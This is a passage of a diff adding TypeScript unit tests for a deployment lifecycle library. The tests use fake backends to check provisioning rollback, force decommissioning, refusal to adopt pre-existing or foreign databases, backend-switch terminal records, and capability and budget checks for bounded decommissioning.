+    }).catch((error: unknown) => error);
+
+    expect(failure).toBeInstanceOf(ProvisioningError);
+    expect((failure as Error).cause).toMatchObject({
+      message: 'flip write rejected',
+    });
+    // The rejected flip aborted the flow before the maintenance dispatch.
+    expect(backend.events).not.toContain('maintenance');
+  });
+
+  it('refuses no-export rollback after the maintenance flip and preserves the worker-deployed row', async () => {
+    const backend = new FakeBackend('plain-worker');
+    backend.failAt = 'maintenance';
+    const store = new MemoryStore();
+
+    const failure = await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend,
+      store,
+      spec: spec(),
+      secrets,
+    }).catch((error: unknown) => error);
+
+    expect(failure).toBeInstanceOf(ProvisioningError);
+    expect((failure as ProvisioningError).cleanupErrors).toEqual([
+      expect.objectContaining({
+        message:
+          'deployment candidate invocation was durably authorized; use export-backed decommissioning',
+      }),
+    ]);
+    // The provider failure landed after the committed flip: the carrier
+    // stays authorized and the deployment is preserved whole.
+    expect(store.record?.phase).toBe('worker-deployed');
+    expect(typeof store.record?.invocationAuthority?.authorizedAt).toBe(
+      'string',
+    );
+    expect(backend.events).not.toContain('delete-worker');
+    expect(backend.events).not.toContain('delete-database');
+
+    backend.failAt = undefined;
+    await expect(
+      provisionDeployment({
+        initialExecutionFenceState: 'open',
+        backend,
+        store,
+        spec: spec(),
+        secrets,
+      }),
+    ).resolves.toMatchObject({ record: { phase: 'ready' } });
+  });
+
+  it('errors after a second blocked drain result and leaves the blocked intent restartable', async () => {
+    const backend = new FakeBackend('plain-worker');
+    const store = new MemoryStore();
+    await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend,
+      store,
+      spec: spec(),
+      secrets,
+    });
+    if (!store.record) throw new Error('missing provisioned record');
+    store.record = {
+      ...store.record,
+      phase: 'worker-deployed',
+      invocationAuthority: { version: 1, authorizedAt: null },
+    };
+    const attached: DecommissionAttachmentScanResult = {
+      status: 'attached',
+      attachment: { plane: 'ordinary', scriptName: 'holder-script' },
+      providerFetchAttemptsReserved: 3,
+    };
+    backend.scanResults.push(attached, attached);
+
+    await expect(
+      cleanupDeploymentArtifacts({ backend, store, spec: spec() }),
+    ).rejects.toThrow('bounded cleanup remains blocked by a Worker attachment');
+    expect(store.record?.cleanupIntent?.state).toMatchObject({
+      step: 'blocked',
+      attachment: { plane: 'ordinary', scriptName: 'holder-script' },
+    });
+
+    // After remediation the drain restarts the blocked operation itself.
+    await expect(
+      cleanupDeploymentArtifacts({ backend, store, spec: spec() }),
+    ).resolves.toBeUndefined();
+    expect(store.record).toBeUndefined();
+  });
+
+  it('releases current claims on force decommission while preserving receipts and the legacy fallback', async () => {
+    const backend = new FakeBackend('plain-worker');
+    const store = new MemoryStore();
+    store.supportsDeleteReleasingClaims = true;
+    await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend,
+      store,
+      spec: spec(),
+      secrets,
+    });
+    const receipt: CleanupTerminalReceipt = {
+      version: 1,
+      operationId: '3d1f6a70-58c8-4b52-9d68-0f1f6f1c2ab3',
+      tenantTag: 'acme',
+      environment: 'production',
+      backend: 'plain-worker',
+      scriptName: 'acme-production',
+      databaseId: DATABASE_ID,
+      databaseName: 'acme-production',
+      authority: 'manual-cleanup',
+      admittedPhase: 'worker-deployed',
+      disposition: 'prepublication-owned-no-export',
+      evidence: {
+        eligibility: 'carrier-null',
+        ingressRemoved: true,
+        workerAbsent: true,
+        platformResourcesAbsent: true,
+        applicationR2Settled: true,
+        databaseAbsentReadback: true,
+      },
+      completedAtMs: 7,
+    };
+    store.receipts.set(receipt.operationId, receipt);
+
+    await forceDecommissionDeployment({
+      backend,
+      store,
+      tenantTag: 'acme',
+      environment: 'production',
+    });
+    expect(store.record).toBeUndefined();
+    expect(store.deleteReleasingClaimsCalls).toBe(1);
+    expect(store.deleteCalls).toBe(0);
+    // Force never reads or deletes historical receipts.
+    expect(store.receipts.get(receipt.operationId)).toEqual(receipt);
+
+    const legacyBackend = new FakeBackend('plain-worker');
+    const legacyStore = new MemoryStore();
+    await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend: legacyBackend,
+      store: legacyStore,
+      spec: spec(),
+      secrets,
+    });
+    await forceDecommissionDeployment({
+      backend: legacyBackend,
+      store: legacyStore,
+      tenantTag: 'acme',
+      environment: 'production',
+    });
+    // A legacy lease without deleteReleasingClaims keeps tombstone claims
+    // through the plain row delete.
+    expect(legacyStore.record).toBeUndefined();
+    expect(legacyStore.deleteReleasingClaimsCalls).toBe(0);
+    expect(legacyStore.deleteCalls).toBe(1);
+  });
+
+  it.each([
+    'database-reserved',
+    'decommissioned',
+  ] as const)('uses claim-releasing deletion for force %s replay when the lease supports it', async (phase) => {
+    for (const capable of [false, true]) {
+      const backend = new FakeBackend('plain-worker');
+      const store = new MemoryStore();
+      store.supportsDeleteReleasingClaims = capable;
+      const deployment = spec();
+      store.record = {
+        tenantTag: deployment.tenantTag,
+        environment: deployment.environment,
+        backend: backend.kind,
+        scriptName: deployment.scriptName,
+        databaseName: deployment.databaseName,
+        databaseId:
+          phase === 'database-reserved' ? 'reserved-acme' : DATABASE_ID,
+        schemaVersion:
+          phase === 'database-reserved' ? 0 : deployment.schemaVersion,
+        artifactVersion:
+          phase === 'database-reserved' ? 'pending' : 'completed-v1',
+        desiredSpecDigest: deploymentSpecDigest(deployment),
+        durableObjectBindings: [],
+        routeHostname: deployment.routeHostname,
+        phase,
+        updatedAt: '2026-09-10T00:00:00.000Z',
+      };
+      await forceDecommissionDeployment({
+        backend,
+        store,
+        tenantTag: deployment.tenantTag,
+        environment: deployment.environment,
+      });
+      expect(store.record).toBeUndefined();
+      expect(store.deleteReleasingClaimsCalls).toBe(capable ? 1 : 0);
+      expect(store.deleteCalls).toBe(capable ? 0 : 1);
+      expect(backend.events).toEqual([]);
+    }
+  });
+
+  it('refuses force decommission during an active cleanup', async () => {
+    const backend = new FakeBackend('plain-worker');
+    backend.failAt = 'worker';
+    backend.cleanupFailAt = 'delete-worker';
+    const store = new MemoryStore();
+    await expect(
+      provisionDeployment({
+        initialExecutionFenceState: 'open',
+        backend,
+        store,
+        spec: spec(),
+        secrets,
+      }),
+    ).rejects.toBeInstanceOf(ProvisioningError);
+    expect(store.record?.phase).toBe('cleanup-advancing');
+    const before = store.record;
+
+    await expect(
+      forceDecommissionDeployment({
+        backend,
+        store,
+        tenantTag: 'acme',
+        environment: 'production',
+      }),
+    ).rejects.toThrow(
+      'forceDecommissionDeployment cannot run during an active cleanup',
+    );
+    expect(backend.forceSteps).toEqual([]);
+    expect(store.record).toEqual(before);
+  });
+
+  it('refuses reprovisioning over foreign physical residue after a forced decommission', async () => {
+    const backend = new FakeBackend('plain-worker');
+    const store = new MemoryStore();
+    store.supportsDeleteReleasingClaims = true;
+    await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend,
+      store,
+      spec: spec(),
+      secrets,
+    });
+    await forceDecommissionDeployment({
+      backend,
+      store,
+      tenantTag: 'acme',
+      environment: 'production',
+    });
+    expect(store.record).toBeUndefined();
+
+    // A residual physical database with the reserved name survives force;
+    // provisioning fails closed instead of adopting it.
+    backend.databaseExists = true;
+    backend.databaseOwner = undefined;
+    const failure = await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend,
+      store,
+      spec: spec(),
+      secrets,
+    }).catch((error: unknown) => error);
+    expect(failure).toBeInstanceOf(ProvisioningError);
+    expect((failure as Error).cause).toMatchObject({
+      message: expect.stringMatching(/refusing to claim pre-existing database/),
+    });
+  });
+
+  it('provisions a retired terminal record as an absent prior and starts a fresh database reservation', async () => {
+    const harness = await boundedDecommissionHarness({
+      r2Names: ['ARTIFACTS'],
+    });
+    const { backend, store } = harness;
+    await expect(
+      decommissionDeployment({ backend, store, spec: harness.deployment }),
+    ).resolves.toMatchObject({ record: { phase: 'decommissioned' } });
+    const terminal = store.record as FleetRecord;
+    expect(terminal.applicationResources?.map(({ state }) => state)).toEqual([
+      'deleted',
+    ]);
+    expect(terminal.databaseExportLocation).toBeDefined();
+
+    // A changed specification is admitted: the digest guard inside
+    // assertImmutableDeploymentMapping does not run for an absent prior.
+    const changed = spec({
+      ...harness.deployment,
+      compatibilityDate: '2026-08-11',
+    });
+    expect(deploymentSpecDigest(changed)).not.toBe(terminal.desiredSpecDigest);
+    backend.events.length = 0;
+    const writesBefore = store.phases.length;
+
+    const result = await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend,
+      store,
+      spec: changed,
+      secrets,
+    });
+
+    expect(result.record.phase).toBe('ready');
+    expect(result.record.desiredSpecDigest).toBe(deploymentSpecDigest(changed));
+    expect(result.record.decommissionIntent).toBeUndefined();
+    expect(result.record.databaseExportLocation).toBeUndefined();
+    expect(result.record.databaseExportSha256).toBeUndefined();
+    expect(result.record.databaseExportSize).toBeUndefined();
+    expect(
+      result.record.applicationResources?.map(({ state }) => state),
+    ).not.toContain('deleted');
+    // The database is minted again rather than reconciled from the retired row.
+    expect(backend.events[0]).toBe('database');
+    expect(store.phases.slice(writesBefore)[0]).toBe('database-reserved');
+    expect(store.phases.at(-1)).toBe('ready');
+  });
+
+  it('refuses a previous Durable Object migration tag over a retired terminal record', async () => {
+    const harness = await boundedDecommissionHarness();
+    const { backend, store } = harness;
+    await expect(
+      decommissionDeployment({ backend, store, spec: harness.deployment }),
+    ).resolves.toMatchObject({ record: { phase: 'decommissioned' } });
+    const before = structuredClone(store.record) as FleetRecord;
+
+    await expect(
+      provisionDeployment({
+        initialExecutionFenceState: 'open',
+        backend,
+        store,
+        spec: spec({ ...harness.deployment, previousDurableObjectTag: 'v1' }),
+        secrets,
+      }),
+    ).rejects.toThrow(
+      'a new deployment cannot declare a previous Durable Object migration tag',
+    );
+    expect(store.record).toEqual(before);
+  });
+
+  it('keeps the generic phase refusal for non-resumable teardown phases', async () => {
+    for (const phase of [
+      'worker-deleted',
+      'database-exported',
+      'database-deleting',
+    ] as const) {
+      const harness = await boundedDecommissionHarness();
+      harness.store.record = {
+        ...(harness.store.record as FleetRecord),
+        phase,
+      };
+      const before = structuredClone(harness.store.record) as FleetRecord;
+      harness.backend.events.length = 0;
+
+      await expect(
+        provisionDeployment({
+          initialExecutionFenceState: 'open',
+          backend: harness.backend,
+          store: harness.store,
+          spec: harness.deployment,
+          secrets,
+        }),
+        phase,
+      ).rejects.toThrow(
+        `deployment 'acme:production' cannot be provisioned from phase '${phase}'`,
+      );
+      expect(harness.store.record, phase).toEqual(before);
+      expect(harness.backend.events, phase).toEqual([]);
+    }
+  });
+
+  it('refuses a prior record carrying a catalog mode its backend cannot hold', async () => {
+    const harness = await boundedDecommissionHarness();
+    harness.store.record = {
+      ...(harness.store.record as FleetRecord),
+      wfpMode: 'platform-catalog',
+    };
+    const before = structuredClone(harness.store.record) as FleetRecord;
+    harness.backend.events.length = 0;
+
+    await expect(
+      provisionDeployment({
+        initialExecutionFenceState: 'open',
+        backend: harness.backend,
+        store: harness.store,
+        spec: harness.deployment,
+        secrets,
+      }),
+    ).rejects.toThrow(
+      "deployment 'acme:production' already exists with a different immutable resource mapping",
+    );
+    expect(harness.store.record).toEqual(before);
+    expect(harness.backend.events).toEqual([]);
+  });
+
+  it('refuses a terminal record that still retains an application resource', async () => {
+    const harness = await boundedDecommissionHarness({
+      r2Names: ['ARTIFACTS'],
+    });
+    const { backend, store } = harness;
+    await expect(
+      decommissionDeployment({ backend, store, spec: harness.deployment }),
+    ).resolves.toMatchObject({ record: { phase: 'decommissioned' } });
+    const terminal = store.record as FleetRecord;
+    store.record = {
+      ...terminal,
+      applicationResources: (terminal.applicationResources ?? []).map(
+        (resource) => ({ ...resource, state: 'created' as const }),
+      ),
+    };
+    const [retainedResource] = terminal.applicationResources ?? [];
+    if (!retainedResource) throw new Error('missing retained R2 resource');
+    const before = structuredClone(store.record) as FleetRecord;
+    backend.events.length = 0;
+
+    await expect(
+      provisionDeployment({
+        initialExecutionFenceState: 'open',
+        backend,
+        store,
+        spec: harness.deployment,
+        secrets,
+      }),
+    ).rejects.toThrow(
+      `has a decommissioned record with retained application R2 resources '${retainedResource.bucketName}' (binding 'ARTIFACTS'); confirm the residual physical resources are removed, then clear the record with forceDecommissionDeployment()`,
+    );
+    expect(store.record).toEqual(before);
+    expect(backend.events).toEqual([]);
+  });
+
+  it('refuses a pre-existing database before it claims the retired terminal row', async () => {
+    const harness = await boundedDecommissionHarness();
+    const { backend, store } = harness;
+    await expect(
+      decommissionDeployment({ backend, store, spec: harness.deployment }),
+    ).resolves.toMatchObject({ record: { phase: 'decommissioned' } });
+    const before = structuredClone(store.record) as FleetRecord;
+    expect(before.databaseExportLocation).toBeDefined();
+
+    // The fixture idiom for foreign physical residue under the reserved name:
+    // a database answering to that name under an ID the retired row never
+    // held.
+    backend.databaseExists = true;
+    backend.databaseOwner = undefined;
+    backend.databaseId = 'db-foreign-resurrection';
+
+    const failure = await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend,
+      store,
+      spec: harness.deployment,
+      secrets,
+    }).catch((error: unknown) => error);
+
+    expect(failure).toBeInstanceOf(ProvisioningError);
+    const cause = (failure as Error).cause as Error;
+    expect(cause.message).toContain(
+      `refusing to claim pre-existing database 'db-foreign-resurrection:${harness.deployment.databaseName}' for reserved name '${harness.deployment.databaseName}'`,
+    );
+    // Both IDs in one message: the operator reads the retired deployment's own
+    // resurrected database apart from a foreign one under the same name.
+    expect(cause.message).toContain(
+      `the retired terminal record held database '${before.databaseId}'`,
+    );
+    expect(before.databaseId).not.toBe('db-foreign-resurrection');
+    expect(store.record).toEqual(before);
+  });
+
+  it('unwinds a failed provision over a retired terminal record as a fresh one', async () => {
+    const harness = await boundedDecommissionHarness();
+    const { backend, store } = harness;
+    await expect(
+      decommissionDeployment({ backend, store, spec: harness.deployment }),
+    ).resolves.toMatchObject({ record: { phase: 'decommissioned' } });
+    backend.events.length = 0;
+    backend.failAt = 'migrations';
+
+    await expect(
+      provisionDeployment({
+        initialExecutionFenceState: 'open',
+        backend,
+        store,
+        spec: harness.deployment,
+        secrets,
+      }),
+    ).rejects.toBeInstanceOf(ProvisioningError);
+
+    expect(backend.events.at(-1)).toBe('delete-database');
+    expect(store.record).toBeUndefined();
+    expect([...store.receipts.values()]).toMatchObject([
+      {
+        disposition: 'prepublication-owned-no-export',
+        authority: 'provisioning-rollback',
+      },
+    ]);
+  });
+
+  it('provisions over a terminal record a backend switch retired', async () => {
+    const harness = await boundedDecommissionHarness();
+    const { backend, store } = harness;
+    await expect(
+      decommissionDeployment({ backend, store, spec: harness.deployment }),
+    ).resolves.toMatchObject({ record: { phase: 'decommissioned' } });
+    const terminal = store.record as FleetRecord;
+    // A switch that reached `decommissioned` committed the export the terminal
+    // row records and released the application resources it tracked; the
+    // package reads a backend-switch terminal row against that evidence.
+    const switchIntent: BackendSwitchIntent = terminalBackendSwitchIntent(
+      terminal,
+      backend,
+      harness.deployment,
+      'decommissioned',
+    );
+    store.record = { ...terminal, backendSwitchIntent: switchIntent };
+    backend.events.length = 0;
+
+    const result = await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend,
+      store,
+      spec: harness.deployment,
+      secrets,
+    });
+
+    expect(result.record.phase).toBe('ready');
+    expect(result.record.backendSwitchIntent).toBeUndefined();
+    expect(backend.events[0]).toBe('database');
+  });
+
+  it('provisions over a terminal record a legacy switch teardown retired', async () => {
+    const harness = await boundedDecommissionHarness({
+      r2Names: ['ARTIFACTS'],
+    });
+    const { backend, store } = harness;
+    await expect(
+      decommissionDeployment({ backend, store, spec: harness.deployment }),
+    ).resolves.toMatchObject({ record: { phase: 'decommissioned' } });
+    const terminal = store.record as FleetRecord;
+    const tornDown = terminal.applicationResources ?? [];
+    expect(tornDown.map((resource) => resource.state)).toEqual(['deleted']);
+    // The record a completed legacy switch teardown leaves: the
+    // `applicationR2Progress` deletions it persists, and the top-level
+    // `applicationResources` they project into. `backend-switch.test.ts` pins
+    // that write; this pins the reading admission gives it.
+    const switchIntent: BackendSwitchIntent = {
+      ...terminalBackendSwitchIntent(
+        terminal,
+        backend,
+        harness.deployment,
+        'decommissioned',
+      ),
+      applicationR2Progress: tornDown.map((resource) => ({
+        resource,
+        subphase: resource.state,
+      })),
+    };
+    store.record = { ...terminal, backendSwitchIntent: switchIntent };
+    backend.events.length = 0;
+
+    const result = await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend,
+      store,
+      spec: harness.deployment,
+      secrets,
+    });
+
+    expect(result.record.phase).toBe('ready');
+    expect(result.record.backendSwitchIntent).toBeUndefined();
+  });
+
+  it('refuses a terminal record whose backend switch finalized', async () => {
+    const harness = await boundedDecommissionHarness();
+    const { backend, store } = harness;
+    await expect(
+      decommissionDeployment({ backend, store, spec: harness.deployment }),
+    ).resolves.toMatchObject({ record: { phase: 'decommissioned' } });
+    const terminal = store.record as FleetRecord;
+    store.record = {
+      ...terminal,
+      backendSwitchIntent: terminalBackendSwitchIntent(
+        terminal,
+        backend,
+        harness.deployment,
+        'finalized',
+      ),
+    };
+    const before = structuredClone(store.record) as FleetRecord;
+    backend.events.length = 0;
+
+    await expect(
+      provisionDeployment({
+        initialExecutionFenceState: 'open',
+        backend,
+        store,
+        spec: harness.deployment,
+        secrets,
+      }),
+    ).rejects.toThrow(
+      /has a decommissioned record with a backend-switch record in subphase 'finalized'; confirm the residual physical resources are removed, then clear the record with forceDecommissionDeployment\(\)/,
+    );
+    expect(store.record).toEqual(before);
+    expect(backend.events).toEqual([]);
+  });
+
+  it('refuses a terminal record whose backend switch rolled back', async () => {
+    const harness = await boundedDecommissionHarness();
+    const { backend, store } = harness;
+    await expect(
+      decommissionDeployment({ backend, store, spec: harness.deployment }),
+    ).resolves.toMatchObject({ record: { phase: 'decommissioned' } });
+    const terminal = store.record as FleetRecord;
+    store.record = {
+      ...terminal,
+      backendSwitchIntent: terminalBackendSwitchIntent(
+        terminal,
+        backend,
+        harness.deployment,
+        'rolled-back',
+      ),
+    };
+    const before = structuredClone(store.record) as FleetRecord;
+    backend.events.length = 0;
+
+    await expect(
+      provisionDeployment({
+        initialExecutionFenceState: 'open',
+        backend,
+        store,
+        spec: harness.deployment,
+        secrets,
+      }),
+    ).rejects.toThrow(
+      /has a decommissioned record with a backend-switch record in subphase 'rolled-back'; confirm the residual physical resources are removed, then clear the record with forceDecommissionDeployment\(\)/,
+    );
+    expect(store.record).toEqual(before);
+    expect(backend.events).toEqual([]);
+  });
+
+  it('refuses a retired terminal record reserved in another deployment mode', async () => {
+    const harness = await boundedDecommissionHarness({
+      kind: 'workers-for-platforms',
+    });
+    const { backend, store } = harness;
+    await expect(
+      decommissionDeployment({ backend, store, spec: harness.deployment }),
+    ).resolves.toMatchObject({ record: { phase: 'decommissioned' } });
+    const terminal = store.record as FleetRecord;
+    expect(terminal.wfpMode).toBe('platform-catalog');
+    const before = structuredClone(terminal) as FleetRecord;
+    // The same slug and specification, reserved on a backend whose record
+    // carries no catalog mode.
+    const plainBackend = new R2RollbackBackend('plain-worker');
+
+    await expect(
+      provisionDeployment({
+        initialExecutionFenceState: 'open',
+        backend: plainBackend,
+        store,
+        spec: harness.deployment,
+        secrets,
+      }),
+    ).rejects.toThrow(
+      /has a retired terminal record in deployment mode 'platform-catalog' and this specification reserves 'unmarked'; an established catalog mode cannot change, so clear the record with forceDecommissionDeployment\(\)/,
+    );
+    expect(store.record).toEqual(before);
+    expect(plainBackend.events).toEqual([]);
+  });
+
+  it('decommissions the replacement when a same-spec decommission follows a re-provision', async () => {
+    const harness = await boundedDecommissionHarness();
+    const { backend, store } = harness;
+    const first = await decommissionDeployment({
+      backend,
+      store,
+      spec: harness.deployment,
+    });
+    expect(first.record.phase).toBe('decommissioned');
+    const retiredExportLocation = first.record.databaseExportLocation;
+    expect(retiredExportLocation).toBeDefined();
+
+    const replacement = await provisionDeployment({
+      initialExecutionFenceState: 'open',
+      backend,
+      store,
+      spec: harness.deployment,
+      secrets,
+    });
+
+    expect(replacement.record.phase).toBe('ready');
+    expect(replacement.record.databaseExportLocation).toBeUndefined();
+    backend.receiptCalls.length = 0;
+    backend.events.length = 0;
+
+    // decommissionDeployment() carries no operation identity, so a same-spec
+    // call issued after the replacement reached `ready` is a new decommission
+    // of the replacement rather than a retry that replays the retired row's
+    // export. The fake mints one provider database ID for every deployment,
+    // so the target shows in the export this call commits and in the teardown
+    // it drives rather than in that ID.
+    const late = await decommissionDeployment({
+      backend,
+      store,
+      spec: harness.deployment,
+    });
+
+    expect(backend.events).toEqual(
+      expect.arrayContaining(['delete-worker', 'export', 'delete-database']),
+    );
+    expect(backend.receiptCalls.map(({ databaseId }) => databaseId)).toEqual([
+      replacement.record.databaseId,
+    ]);
+    expect(late.record.phase).toBe('decommissioned');
+    expect(late.databaseExport.location).not.toBe(retiredExportLocation);
+    expect(store.record?.databaseExportLocation).toBe(
+      late.databaseExport.location,
+    );
+  });
+
+  it('refuses a terminal record a force decommission stranded without its export', async () => {
+    const harness = await boundedDecommissionHarness();
+    const { backend, store } = harness;
+    const ready = store.record as FleetRecord;
+    expect(ready.phase).toBe('ready');
+    expect(ready.databaseExportLocation).toBeUndefined();
+    // What forceDecommissionDeployment() leaves when its host audit sink
+    // rejects between the terminal state write and the row delete: force never
+    // exports, so the row reaches `decommissioned` with no export triple while
+    // the ordinary Worker script survives.
+    const {
+      pendingSpecDigest: _pendingSpecDigest,
+      pendingArtifactVersion: _pendingArtifactVersion,
+      ...forceRecord
+    } = ready;
+    store.record = {
+      ...forceRecord,
+      phase: 'decommissioned',
+      applicationResources: [],
+    };
+    backend.databaseExists = false;
+    backend.databaseOwner = undefined;
+    const before = structuredClone(store.record) as FleetRecord;
+    const writesBefore = store.phases.length;
+    backend.events.length = 0;
+
+    await expect(
+      provisionDeployment({
+        initialExecutionFenceState: 'open',
+        backend,
+        store,
+        spec: harness.deployment,
+        secrets,
+      }),
+    ).rejects.toThrow(
+      /has a decommissioned record with incomplete teardown evidence: a completed decommission records the database export location, digest, and byte count and leaves no pending lifecycle field; confirm the residual physical resources are removed, then clear the record with forceDecommissionDeployment\(\)/,
+    );
+    expect(store.record).toEqual(before);
+    expect(store.phases.length).toBe(writesBefore);
+    expect(backend.events).toEqual([]);
+  });
+
+  it('starts stable operation before I/O and recovers lost start response', async () => {
+    const store = new CommitThenThrowStore();
+    const harness = await boundedDecommissionHarness({ store });
+    store.failAfterCommittedPhase = 'decommission-advancing';
+    const randomUUID = vi.fn(() => DECOMMISSION_OPERATION_ID);
+    const clock = vi.fn(() => Date.parse('2026-08-30T01:00:00.000Z'));
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(
+          harness,
+          { kind: 'start' },
+          { randomUUID, clock },
+        ),
+      ),
+    ).rejects.toThrow(/response was lost/u);
+    expect(store.record?.decommissionIntent).toMatchObject({
+      operationId: DECOMMISSION_OPERATION_ID,
+      revision: 0,
+      generation: 0,
+      state: 'transitioning',
+    });
+    expect(randomUUID).toHaveBeenCalledTimes(1);
+    expect(clock).toHaveBeenCalledTimes(1);
+
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(
+          harness,
+          { kind: 'start' },
+          { randomUUID, clock },
+        ),
+      ),
+    ).resolves.toMatchObject({ status: 'pending', token: { revision: 0 } });
+    expect(randomUUID).toHaveBeenCalledTimes(1);
+    expect(clock).toHaveBeenCalledTimes(1);
+
+    const missingUuid = await boundedDecommissionHarness();
+    const missingUuidRecord = missingUuid.store.record;
+    const missingUuidLeases = missingUuid.store.leaseCalls;
+    await expect(
+      advanceDecommissionDeployment({
+        ...boundedAdvanceOptions(missingUuid, { kind: 'start' }),
+        randomUUID: undefined as never,
+      }),
+    ).rejects.toThrow(
+      'advanceDecommissionDeployment requires a randomUUID function',
+    );
+    expect(missingUuid.store.record).toBe(missingUuidRecord);
+    expect(missingUuid.store.leaseCalls).toBe(missingUuidLeases);
+    const invalidUuid = await boundedDecommissionHarness();
+    const invalidUuidRecord = invalidUuid.store.record;
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(
+          invalidUuid,
+          { kind: 'start' },
+          {
+            randomUUID: () => 'not-a-uuid',
+          },
+        ),
+      ),
+    ).rejects.toThrow('decommission advance token is malformed');
+    expect(invalidUuid.store.record).toBe(invalidUuidRecord);
+
+    const throwingUuid = await boundedDecommissionHarness();
+    const uuidFailure = new Error('uuid source failed');
+    const throwingUuidRecord = throwingUuid.store.record;
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(
+          throwingUuid,
+          { kind: 'start' },
+          {
+            randomUUID() {
+              throw uuidFailure;
+            },
+          },
+        ),
+      ),
+    ).rejects.toBe(uuidFailure);
+    expect(throwingUuid.store.record).toBe(throwingUuidRecord);
+
+    const unsupported = await boundedDecommissionHarness();
+    unsupported.store.record = {
+      ...(unsupported.store.record as FleetRecord),
+      phase: 'decommissioned',
+    };
+    const unsupportedRecord = unsupported.store.record;
+    const unsupportedEvents = [...unsupported.backend.events];
+    const unsupportedUuid = vi.fn(() => DECOMMISSION_OPERATION_ID);
+    const unsupportedClock = vi.fn(() => Date.now());
+    await expect(
+      advanceDecommissionDeployment(
+        boundedAdvanceOptions(
+          unsupported,
+          { kind: 'start' },
+          { randomUUID: unsupportedUuid, clock: unsupportedClock },
+        ),
+      ),
+    ).rejects.toThrow(
+      "cannot start bounded decommission in phase 'decommissioned'",
+    );
+    expect(unsupportedUuid).not.toHaveBeenCalled();
+    expect(unsupportedClock).not.toHaveBeenCalled();
+    expect(unsupported.store.record).toBe(unsupportedRecord);
+    expect(unsupported.backend.events).toEqual(unsupportedEvents);
+    expect(unsupported.backend.databaseIdsRead).toHaveLength(0);
+  });
+
+  it('invalid budgets and missing capabilities refuse before the first write', async () => {
+    const invalid = await boundedDecommissionHarness();
+    const leases = invalid.store.leaseCalls;
+    for (const maxProviderRequests of [8, 1_001, 9.5]) {
+      await expect(
+        advanceDecommissionDeployment(
+          boundedAdvanceOptions(
+            invalid,
+            { kind: 'start' },
+            { maxProviderRequests },
+          ),
+        ),
+      ).rejects.toThrow(
+        'maxProviderRequests must be an integer from 9 to 1000',
+      );
+    }
+    expect(invalid.store.leaseCalls).toBe(leases);
+
+    const rows = [
+      [
+        'advanceDecommissionAttachmentScan',
+        'attachment-scan',
+        'backend cannot perform bounded decommission attachment scans',
+      ],
+      [
+        'assertDatabaseDeletionResidualsRemoved',
+        'database-residuals',
+        'backend cannot inspect database deletion residuals',
+      ],
+      [
+        'findApplicationR2Bucket',
+        'application-r2-inspection',
+        'backend cannot inspect application R2 resources',
+      ],
+      [
+        'assertApplicationR2Empty',
+        'application-r2-empty',
+        'backend cannot attest application R2 emptiness',
+      ],
+      [
+        'deleteApplicationR2Bucket',
+        'application-r2-delete',
+        'backend cannot delete application R2 resources',
+      ],
+    ] as const;
+    for (const [property, capability, message] of rows) {
+      const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] });
+      Object.defineProperty(harness.backend, property, {
+        configurable: true,
+        value: undefined,
+      });
+      const before = harness.store.record;
+      const failure = await advanceDecommissionDeployment(
+        boundedAdvanceOptions(harness, { kind: 'start' }),
+      ).catch((error: unknown) => error);
+      expect(failure).toBeInstanceOf(DecommissionAdvanceCapabilityError);
+      if (!(failure instanceof DecommissionAdvanceCapabilityError)) {
+        throw new Error('missing typed decommission capability refusal');
+      }
+      expect(Object.getPrototypeOf(failure)).toBe(
+        DecommissionAdvanceCapabilityError.prototype,
+      );
+      expect(failure).toMatchObject({
+        name: 'DecommissionAdvanceCapabilityError',
+        message,
+        capability,
+      });
+      expect(harness.store.record).toBe(before);
+    }
+
+    const currentScan = await boundedDecommissionHarness({
+      r2Names: ['FILES'],
+    });
+    const discover = await driveBoundedUntil(
+      currentScan,
+      (record) => record.decommissionIntent?.state === 'discover',
+    );
+    Object.defineProperty(
+      currentScan.backend,
+      'advanceDecommissionAttachmentScan',
+      { configurable: true, value: undefined },
+    );
+    const snapshot = currentScan.store.record;
+    await expect(
+      continueBoundedDecommission(currentScan, discover),
+    ).rejects.toMatchObject({ capability: 'attachment-scan' });
+    expect(currentScan.store.record).toBe(snapshot);
+
+    const currentResidual = await boundedDecommissionHarness();
+    const credentials = await driveBoundedUntil(
+      currentResidual,
+      (record) =>
+        record.decommissionIntent?.lifecyclePhase === 'credentials-revoked',
+    );
+    Object.defineProperty(
+      currentResidual.backend,
+      'assertDatabaseDeletionResidualsRemoved',
+      { configurable: true, value: undefined },
+    );
+    const reads = currentResidual.backend.databaseIdsRead.length;
+    await expect(
+      continueBoundedDecommission(currentResidual, credentials),
+    ).rejects.toMatchObject({ capability: 'database-residuals' });
+    expect(currentResidual.backend.databaseIdsRead).toHaveLength(reads);
+
+    const accessorHarness = await boundedDecommissionHarness({
+      r2Names: ['FILES'],
+    });
+    const findImplementation = accessorHarness.backend.findApplicationR2Bucket;
+    const emptyImplementation =
+      accessorHarness.backend.assertApplicationR2Empty;
+    let findReads = 0;
+    let emptyReads = 0;
+    Object.defineProperty(accessorHarness.backend, 'findApplicationR2Bucket', {
+      configurable: true,
+      get() {
+        findReads += 1;
+        return findImplementation;
+      },
+    });
+    Object.defineProperty(accessorHarness.backend, 'assertApplicationR2Empty', {
+      configurable: true,
+      get() {
+        emptyReads += 1;
+        return emptyImplementation;
+      },
+    });
+    const accessorStart = await startBoundedDecommission(accessorHarness);
+    expect(findReads).toBe(1);
+    expect(emptyReads).toBe(1);
+    await continueBoundedDecommission(accessorHarness, accessorStart);
+    expect(findReads).toBe(2);
+    expect(emptyReads).toBe(2);
+
+    for (const [state, property, capability] of [
+      ['detached', 'assertApplicationR2Empty', 'application-r2-empty'],
+      ['empty', 'deleteApplicationR2Bucket', 'application-r2-delete'],
+    ] as const) {
